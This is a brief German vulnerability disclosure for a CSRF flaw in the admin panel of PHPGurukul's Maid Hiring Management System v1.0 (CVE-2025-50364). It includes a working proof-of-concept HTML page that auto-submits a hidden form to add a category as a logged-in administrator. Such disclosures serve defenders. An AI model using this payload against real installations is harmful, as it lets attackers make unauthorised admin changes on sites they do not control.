Projektname & Repo-URL: Maid Hiring Management System using PHP and MySQL

Schwachstellentyp: Client-Seitige Request-Fälschung

Betroffene Version(en): v1.0

💣Beschreibung der Schwachstelle: Eine Cross-Site-Request-Forgery-Schwachstelle (CSRF) existiert im Admin-Panel des PHPGurukul Hiring Management Systems, die es einem Angreifer ermöglicht, beliebige Einstellungskategorien hinzuzufügen, indem ein authentifizierter Administrator dazu gebracht wird, eine bösartige Website zu besuchen. Dies kann zu Datenverschmutzung und unbefugten Änderungen auf Administratorebene führen.

👩‍💻Auswirkungen: Unbefugte Kategorieerstellung

🛜Proof-of-Concept (PoC)

Es gab eine Kategoriehinzufügefunktion, bei der nur authentifizierte Administratoren eine Kategorie hinzufügen konnten. 2)HTML-Code, um eine POST-Anfrage an den Endpunkt /admin/add-category.php zu senden CSRF-POC

<html>
  <body>
    <form action="http://127.0.0.1/mhms/admin/add-category.php" method="POST">
      <input type="hidden" name="catname" value="CSRF&#45;POC" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE

Beliebteste